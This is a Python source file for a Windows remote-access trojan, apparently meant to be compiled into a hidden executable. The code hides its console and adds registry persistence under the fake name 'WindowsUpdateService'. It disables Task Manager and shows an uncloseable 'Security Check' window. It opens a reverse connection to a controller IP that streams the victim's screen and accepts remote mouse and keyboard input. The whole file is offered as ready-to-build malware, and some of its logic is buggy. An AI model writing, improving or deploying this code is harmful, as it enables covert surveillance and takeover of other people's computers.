---

# target_virus_ui.py - Full UI with password gate, 3 attempts then 1h lockout
# Compile: pyinstaller --onefile --noconsole --uac-admin target_virus_ui.py

import tkinter as tk
from tkinter import messagebox
import socket
import threading
import time
import os
import sys
import ctypes
import winreg
import subprocess
import struct
import io
import mss
from PIL import Image
import numpy as np
import keyboard
import mouse
import win32api
import win32con
import win32gui
import win32ui
from pynput.mouse import Controller as MouseController
from pynput.keyboard import Controller as KeyboardController

# ===== CONFIG =====
PASSWORD = "abobanecheat456"
MAX_ATTEMPTS = 3
LOCKOUT_SECONDS = 3600  # 1 hour
PORT = 4444
AUTH_KEY = "AUTH_OK"
FAIL_KEY = "AUTH_FAIL"

# ===== GLOBALS =====
authenticated = False
attempts = 0
lockout_until = 0
root = None
status_label = None
password_entry = None
control_socket = None
listener_socket = None
running = True
mouse_ctrl = MouseController()
keyboard_ctrl = KeyboardController()

# ===== PERSISTENCE & HIDE =====
def hide_console():
    ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)

def add_persistence():
    try:
        key = winreg.HKEY_CURRENT_USER
        reg_key = winreg.OpenKey(key, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_SET_VALUE)
        winreg.SetValueEx(reg_key, "WindowsUpdateService", 0, winreg.REG_SZ, sys.executable)
        winreg.CloseKey(reg_key)
    except:
        pass

def block_task_manager():
    try:
        key = winreg.HKEY_CURRENT_USER
        reg_key = winreg.OpenKey(key, r"Software\Microsoft\Windows\CurrentVersion\Policies\System", 0, winreg.KEY_SET_VALUE)
        winreg.SetValueEx(reg_key, "DisableTaskMgr", 0, winreg.REG_DWORD, 1)
        winreg.CloseKey(reg_key)
    except:
        pass

# ===== SCREEN STREAM =====
def send_screen(sock):
    with mss.mss() as sct:
        monitor = sct.monitors[1]
        while running and authenticated:
            try:
                img = sct.grab(monitor)
                img = Image.frombytes("RGB", img.size, img.bgra, "raw", "BGRX")
                buffer = io.BytesIO()
                img.save(buffer, format="JPEG", quality=55)
                data = buffer.getvalue()
                sock.send(struct.pack(">I", len(data)))
                sock.send(data)
                time.sleep(0.04)
            except:
                break

# ===== RECEIVE CONTROLS =====
def receive_controls(sock):
    while running and authenticated:
        try:
            cmd_len = struct.unpack(">I", sock.recv(4))[0]
            cmd = sock.recv(cmd_len).decode()
            parts = cmd.split("|")
            if parts[0] == "move":
                x, y = map(int, parts[1].split(","))
                win32api.SetCursorPos((x, y))
            elif parts[0] == "click":
                win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)
                win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)
            elif parts[0] == "rightclick":
                win32api.mouse_event(win32con.MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0)
                win32api.mouse_event(win32con.MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0)
            elif parts[0] == "key":
                keyboard.write(parts[1])
            elif parts[0] == "keydown":
                keyboard.press(parts[1])
            elif parts[0] == "keyup":
                keyboard.release(parts[1])
        except:
            break

# ===== HANDLE CONNECTION (reverse - target connects OUT) =====
def handle_connection(sock):
    global authenticated
    try:
        sock.send(b"PASS_REQ")
        data = sock.recv(1024).decode().strip()
        if data == PASSWORD:
            authenticated = True
            sock.send(AUTH_KEY.encode())
            # Start threads
            screen_thread = threading.Thread(target=send_screen, args=(sock,), daemon=True)
            control_thread = threading.Thread(target=receive_controls, args=(sock,), daemon=True)
            screen_thread.start()
            control_thread.start()
            # Update UI
            root.after(0, lambda: status_label.config(text="[CONNECTED] Remote control active", fg="green"))
            screen_thread.join()
            control_thread.join()
        else:
            sock.send(FAIL_KEY.encode())
            sock.close()
    except:
        pass

# ===== REVERSE CONNECTION LOOP =====
def connect_to_controller(controller_ip, controller_port):
    global control_socket, authenticated
    while running:
        try:
            control_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            control_socket.connect((controller_ip, controller_port))
            handle_connection(control_socket)
            if not authenticated:
                control_socket.close()
                time.sleep(5)
        except:
            time.sleep(5)

# ===== PASSWORD UI =====
def check_password():
    global attempts, lockout_until
    if lockout_until > time.time():
        remain = int(lockout_until - time.time())
        messagebox.showerror("Locked", f"Too many attempts. Wait {remain//60} min {remain%60} sec.")
        return

    entered = password_entry.get()
    if entered == PASSWORD:
        authenticated = True
        status_label.config(text="[AUTH OK] Starting reverse connection...", fg="green")
        password_entry.config(state="disabled")
        submit_btn.config(state="disabled")
        # Start connection thread (you must set IP below)
        ip = "YOUR_CONTROLLER_IP"  # <-- CHANGE THIS
        port = PORT
        threading.Thread(target=connect_to_controller, args=(ip, port), daemon=True).start()
    else:
        attempts += 1
        remaining = MAX_ATTEMPTS - attempts
        if remaining <= 0:
            lockout_until = time.time() + LOCKOUT_SECONDS
            messagebox.showerror("Locked", f"3 wrong attempts. Locked for 1 hour.")
            password_entry.config(state="disabled")
            submit_btn.config(state="disabled")
            # Re-enable after lockout
            def reenable():
                password_entry.config(state="normal")
                submit_btn.config(state="normal")
                attempts = 0
            root.after(LOCKOUT_SECONDS * 1000, reenable)
        else:
            messagebox.showerror("Wrong", f"Wrong password. {remaining} attempt(s) left.")
            password_entry.delete(0, tk.END)

# ===== BUILD UI =====
def build_ui():
    global root, status_label, password_entry, submit_btn
    root = tk.Tk()
    root.title("Security Check")
    root.geometry("400x200")
    root.resizable(False, False)
    root.configure(bg="#1e1e1e")

    tk.Label(root, text="Enter password to continue", fg="white", bg="#1e1e1e", font=("Arial", 14)).pack(pady=10)

    password_entry = tk.Entry(root, show="*", width=30, font=("Arial", 12))
    password_entry.pack(pady=5)
    password_entry.bind("<Return>", lambda e: check_password())

    submit_btn = tk.Button(root, text="Unlock", command=check_password, bg="#333", fg="white", width=20)
    submit_btn.pack(pady=5)

    status_label = tk.Label(root, text="Waiting for password...", fg="yellow", bg="#1e1e1e", font=("Arial", 10))
    status_label.pack(pady=10)

    root.protocol("WM_DELETE_WINDOW", lambda: None)  # Prevent closing via X

# ===== MAIN =====
def main():
    hide_console()
    add_persistence()
    block_task_manager()
    build_ui()
    root.mainloop()

if __name__ == "__main__":
    main()